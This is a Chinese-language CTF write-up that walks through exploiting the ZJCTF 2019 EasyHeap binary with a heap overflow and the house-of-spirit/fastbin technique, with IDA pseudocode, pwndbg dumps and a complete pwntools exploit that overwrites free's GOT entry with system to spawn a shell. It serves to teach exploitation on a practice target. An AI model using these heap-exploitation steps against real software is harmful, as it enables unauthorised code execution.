GDB调试堆漏洞之house of spirit

何为house of spirit？

该技术出自于2005年的The Malloc Maleficarum这篇文章，是一种用于获得某块内存区域控制权的技术

例如一个位于fastbin的区块是不可控的，但是我们希望对其进行读写操作只需他刚好满足以下两个条件即可。

第一，改区域的前后内存可控（通俗来讲就是堆溢出）

第二，存在一个可控指针作为free()函数的参数(此处通俗讲就是控制chunk 的fd或者bk指针),通过堆排布，

伪造fake chunk让他进入到fastbins，下次我们用同样大小的内存申请一个chunk就可以把这个chunk取出，从而得到控制权。

本文涉及相关实验：ARM漏洞利用技术五--堆溢出 （在堆的情况下，当用户能够写入比预期更多的数据时，会发生内存损坏。通过本实验了解堆溢出，包括intra-chunk和inter-chunk两种类型，分别掌握其特点。）

今天我用一道例题来讲解如何从一个新手掌握GDB调试house of spirit的利用思想

题目：[ZJCTF 2019]EasyHeap

题目可在BUU上搜索得到

checksec如下

q@ubuntu:~/Desktop$ checksec easyheap
[*] '/home/q/Desktop/easyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

先看main函数里面一个点

v3==4869 然后magic>=0x1305就可以进入到后门

不过这个是假的后门远程没有这个路径

接着就是没用输出功能，可能会选择劫持stdout或者使用house of spirit

我们先继续分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 8uLL);
      v3 = atoi(buf);
      if ( v3 != 3 )
        break;
      delete_heap();
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);
      if ( v3 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          l33t();
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
        edit_heap();
    }
  }
}

一个个函数看下去，发现漏洞点在edit那里

（create那的话 chunk大小没限制，可惜这里没有输出功能不然利用mmap的特性直接泄露libc也是可以的，如果还是想的话配合劫持stdout也可以，只不过过于麻烦）

漏洞如下这小部分代码，堆的大小创建后不可更改，但是他可以更改输入内容的大小，意味着这里存在堆溢出

if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }

edit()

unsigned __int64 edit_heap()
{
  int v1; // [rsp+4h] [rbp-1Ch]
  __int64 v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size of Heap : ");
    read(0, buf, 8uLL);
    v2 = atoi(buf);
    printf("Content of heap : ");
    read_input(*(&heaparray + v1), v2);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v4;
}

整合信息（前置知识fastbin attack+unsortedbin）

（简单的说就是如下这样）

其中①②③⑧⑨是fastbin attack需要做的，④⑤⑥⑦是unsortedbin attack需要做的：
①malloc fastchunk 0x70。
②free掉fastchunk。
③将fastchunk的fd变为target。
④malloc 0x100。
⑤free 0x100。
⑥change 0x100+0x8的位置改为target（就是bk的位置）。
⑦malloc 0x100，此时arena的地址被写入target中去了。
⑧malloc 0x70，将第一次malloc的堆块取出来，使fastbin中只有target。
⑨再次malloc 0x70 ==>就是取出target。

结论：

上面简单分析了下，我们有了堆溢出，有了system函数和free()函数，对于house of spirit 来说是完美条件

可以利用堆溢出进行构造fake chunk进而修改该chunk的fd或者bk指针，顺带写入/bin/sh

接下来利用house of spirit去更改free的got表指向system的plt，最后执行free就可以getshell

下面进行详细的分析

详细解答

那么我们可以从构造fake chunk控制堆的任意内容

（prev_size，fd，bk，堆的输入内容）

我们先来看下正常的chunk长什么样子

（部分脚本，脚本后面就是chunk）

from pwn import *

context.log_level = 'debug'



def pause_debug():

    log.info(proc.pidof(p))

    pause()



def create(size, content):

    p.sendlineafter('choice :', str(1))

    p.sendlineafter('Heap :', str(size))

    p.sendafter('heap:', content)



def edit(idx, size, content):

    p.sendlineafter('choice :', str(2))

    p.sendlineafter('Index :', str(idx))

    p.sendlineafter('Heap :', str(size))

    p.sendafter('heap :', content)

    

def delete(idx):

    p.sendlineafter('choice :', str(3))

    p.sendlineafter('Index :', str(idx))





proc_name = './easyheap'

p = process(proc_name)

#p = remote('node3.buuoj.cn', 27185)

elf = ELF(proc_name)



create(0x68, b'woaini') # 0

create(0x68, b'a') # 1

create(0x68, b'a') # 2

gdb.attach(p)

chunk 我们先找到我们存放输入内容的地方，我们刚才创建的堆的大小都是0x70的

但是实际上我们没有那么多空间可以利用的，在0x2545070此处存放的是chunk的大小

下面的地方0x2545070 前面8个字节存放fd(前驱)指针，后面八个字节存放bk(后继)指针

（这里先说个思维，逆向思维！非常重要是做pwn题目的基础。 这里的堆的结构体是最基础的只有一项内容，要是多来几项呢？

比如 一本书的ID 名字 内容等等，他在gdb调试后所呈现的具体存放位置关系是怎么样的呢，我们要如何才能修改都是需要从ida里面逆向分析得到在利用gdb调试获取信息 这里推荐一道buu的题目关于
off by null的知识点的但是如果你成功的攻破后，逆向能力会有不小的提升
题目： asis2016_b00ks

pwndbg> search woaini
[heap]          0x2545010 0x696e69616f77 /* 'woaini' */
warning: Unable to access 16000 bytes of target memory at 0x7f810c08ed05, halting search.
pwndbg> x/32gx 0x2545010
0x2545010:  0x0000696e69616f77  0x0000000000000000
0x2545020:  0x0000000000000000  0x0000000000000000
0x2545030:  0x0000000000000000  0x0000000000000000
0x2545040:  0x0000000000000000  0x0000000000000000
0x2545050:  0x0000000000000000  0x0000000000000000
0x2545060:  0x0000000000000000  0x0000000000000000
0x2545070:  0x0000000000000000  0x0000000000000071
0x2545080:  0x0000000000000061  0x0000000000000000

上面我们讲了正常的堆块的模样，下面我们来对他进行修整，做成我们的fake chunk

为了让这个fake chunk被检测机制所认可，这里我们需要修改prev_size令他等于1

也就是找到存放0x7f的地址我们可以从IDA里面先看看然后配合GDB去寻找

IDA的chunk开始的地方在该程序里面叫heaparray

我们向上寻找，从尾地址为A0的地方开始到B0夹杂着libc

我们都明白libc的开头就是0X7f 那么我们可以不限麻烦的在gdb从0x6020A0开始往下面开

最后发现在本程序中0x6020AD的内容就是0x7f

（输入命令x/32gx 0x6020AD）

.bss:00000000006020A0 ; ===========================================================================
.bss:00000000006020A0
.bss:00000000006020A0 ; Segment type: Uninitialized
.bss:00000000006020A0 ; Segment permissions: Read/Write
.bss:00000000006020A0 _bss            segment align_32 public 'BSS' use64
.bss:00000000006020A0                 assume cs:_bss
.bss:00000000006020A0                 ;org 6020A0h
.bss:00000000006020A0                 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:00000000006020A0                 public stdout@@GLIBC_2_2_5
.bss:00000000006020A0 ; FILE *stdout
.bss:00000000006020A0 stdout@@GLIBC_2_2_5 dq ?                ; DATA XREF: LOAD:0000000000400410↑o
.bss:00000000006020A0                                         ; main+17↑r
.bss:00000000006020A0                                         ; Alternative name is 'stdout'
.bss:00000000006020A0                                         ; Copy of shared data
.bss:00000000006020A8                 align 10h
.bss:00000000006020B0                 public stdin@@GLIBC_2_2_5
.bss:00000000006020B0 ; FILE *stdin
.bss:00000000006020B0 stdin@@GLIBC_2_2_5 dq ?                 ; DATA XREF: LOAD:0000000000400428↑o
.bss:00000000006020B0                                         ; main+35↑r
.bss:00000000006020B0                                         ; Alternative name is 'stdin'
.bss:00000000006020B0                                         ; Copy of shared data
.bss:00000000006020B8 completed_7594  db ?                    ; DATA XREF: __do_global_dtors_aux↑r
.bss:00000000006020B8                                         ; __do_global_dtors_aux+13↑w
.bss:00000000006020B9                 align 20h
.bss:00000000006020C0                 public magic
.bss:00000000006020C0 magic           dq ?                    ; DATA XREF: main:loc_400D05↑r
.bss:00000000006020C8                 align 20h
.bss:00000000006020E0                 public heaparray
.bss:00000000006020E0 ; void *heaparray
.bss:00000000006020E0 heaparray       dq ?                    ; DATA XREF: create_heap+30↑r
.bss:00000000006020E0                                         ; create_heap+8C↑w ...

（包含0x7f结尾的）

pwndbg> x/32gx 0x6020AD
0x6020ad:   0x07fea398e0000000  0x000000000000007f
0x6020bd:   0x0000000000000000  0x0000000000000000

下面上构造fake chunk 的脚本

delete(2)

edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))

gdb.attach(p)

create(0x68, b'b') # 2

create(0x68, b'b') # 3 fake_chunk

edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))

edit(0, 0x8, p64(elf.plt['system']))

delete(1)

p.interactive()

我们这里的fake chunk选的是chunk 1 释放chunk2是为了让他的fd指针指向chunk1

接着利用如下语句，写入内容的大小改为0x78(实际上大小为0x70)，然后传入/bin/sh后填充\x00到达我们的chunk size保持大小不变依然是0x71，接着传入0x6020ad也就是上面提到的0x7f的地址为了让这个chunk1 fake chunk被程序检测所认可

edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))

下面我们来看看修改好的QWQ

为什么是0x68,gdb已经给我们很好的结果了。/bin/sh占位就是8个字节（0x0068732f6e69622f），我们从0x80到0xe0共计0x60加上0x80后面的0x88那部分空白合并起来就是0x68了 然后传入0x71和0x6020ad 我们的fake chunk就好了

pwndbg> search /bin/sh
[heap]          0x1be8080 0x68732f6e69622f /* '/bin/sh' */
libc-2.23.so    0x7f355118be57 0x68732f6e69622f /* '/bin/sh' */
warning: Unable to access 16000 bytes of target memory at 0x7f35511c6d06, halting search.
pwndbg> x/32gx 0x1be8080
0x1be8080:  0x0068732f6e69622f  0x0000000000000000
0x1be8090:  0x0000000000000000  0x0000000000000000
0x1be80a0:  0x0000000000000000  0x0000000000000000
0x1be80b0:  0x0000000000000000  0x0000000000000000
0x1be80c0:  0x0000000000000000  0x0000000000000000
0x1be80d0:  0x0000000000000000  0x0000000000000000
0x1be80e0:  0x0000000000000000  0x0000000000000071
0x1be80f0:  0x00000000006020ad  0x0000000000000000

fake chunk一号准备完成

下面我们改free的got表为system的plt表，（不理解什么是got和plt的可以去康康知乎上的文章，简单说就是plt寻址got，然后got寻址真正地址去执行函数，我们在这把free的got改成system的plt）之后咋们执行free操作就是相当于执行system操作了

为什么是0x23大小的junk数据传入？

create(0x68, b'b') # 2
create(0x68, b'b') # 3 fake_chunk
edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))
edit(0, 0x8, p64(elf.plt['system']))
delete(1)
p.interactive()

这里可以用GDB调试来看下（做pwn题离不开GDB的调试必须要有耐心）

pwndbg> search ccccccccc
easyheap        0x6020bd 0x6363636363636363 ('cccccccc')
easyheap        0x6020c6 0x6363636363636363 ('cccccccc')
easyheap        0x6020cf 0x6363636363636363 ('cccccccc')
warning: Unable to access 16000 bytes of target memory at 0x7f50d863ed08, halting search.
pwndbg> x/32gx 0x6020bd
0x6020bd:   0x6363636363636363  0x6363636363636363
0x6020cd:   0x6363636363636363  0x6363636363636363
0x6020dd:   0x0000602018636363  0x0001dd8080000000
0x6020ed <heaparray+13>:    0x0001dd80f0000000  0x00006020bd000000
0x6020fd <heaparray+29>:    0x0000000000000000  0x0000000000000000
0x60210d <heaparray+45>:    0x0000000000000000  0x0000000000000000
0x60211d <heaparray+61>:    0x0000000000000000  0x0000000000000000
0x60212d <heaparray+77>:    0x0000000000000000  0x0000000000000000

可以看见在0x6020dd上有我们传入的got表0x0000602018
我们再看看heaparray上的数据内容

pwndbg> x/32gx 0x6020ed-13
0x6020e0 <heaparray>:   0x0000000000602018  0x0000000001dd8080
0x6020f0 <heaparray+16>:    0x0000000001dd80f0  0x00000000006020bd
0x602100 <heaparray+32>:    0x0000000000000000  0x0000000000000000
0x602110 <heaparray+48>:    0x0000000000000000  0x0000000000000000
0x602120 <heaparray+64>:    0x0000000000000000  0x0000000000000000

0x00000000006020bd该地址指向我们的chunk3存放的内容
0x0000000001dd80f0该地址为指向我们的chunk3存放的内容的地址
其真实起始点地址是0x1dd80e0 如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1dd8000
Size: 0x71

Allocated chunk | PREV_INUSE
Addr: 0x1dd8070
Size: 0x71

Allocated chunk | PREV_INUSE #chunk3
Addr: 0x1dd80e0
Size: 0x71

Top chunk | PREV_INUSE
Addr: 0x1dd8150
Size: 0x20eb1


而heaparray
0x6020e0 <heaparray>:   0x0000000000602018  0x0000000001dd8080
指向我们的free()的got表

关于为什么选择edit(0, 0x8, p64(elf.plt['system']))这样传入并没有太多用意，p64(elf.plt['system'])刚好八个字节

这里篇幅有限，若有兴趣可以寻找资料学习

EXP:

from pwn import *

context.log_level = 'debug'



def pause_debug():

    log.info(proc.pidof(p))

    pause()



def create(size, content):

    p.sendlineafter('choice :', str(1))

    p.sendlineafter('Heap :', str(size))

    p.sendafter('heap:', content)



def edit(idx, size, content):

    p.sendlineafter('choice :', str(2))

    p.sendlineafter('Index :', str(idx))

    p.sendlineafter('Heap :', str(size))

    p.sendafter('heap :', content)

    

def delete(idx):

    p.sendlineafter('choice :', str(3))

    p.sendlineafter('Index :', str(idx))





proc_name = './easyheap'

p = process(proc_name)

#p = remote('node3.buuoj.cn', 27185)

elf = ELF(proc_name)



create(0x68, b'woaini') # 0

create(0x68, b'a') # 1

create(0x68, b'a') # 2

#gdb.attach(p)

delete(2)

edit(1, 0x78, b'/bin/sh'.ljust(0x68, b'\x00') + p64(0x71) + p64(0x6020ad))

#gdb.attach(p)

create(0x68, b'b') # 2

create(0x68, b'b') # 3 fake_chunk

edit(3, 0x2b, b'c' * 0x23 + p64(elf.got['free']))


edit(0, 0x8, p64(elf.plt['system']))

delete(1)

p.interactive()

心得简述：

做PWN题非常考验耐心与基础，IDA的逆向分析是最为主要的一步，一定要静下来看伪代码和汇编

有了多种思路不要嫌麻烦一定要上机去用GDB一步步调试。会了各种套路技巧固然厉害，但是没有牢固

的逆向基础和调试能力是走不远的。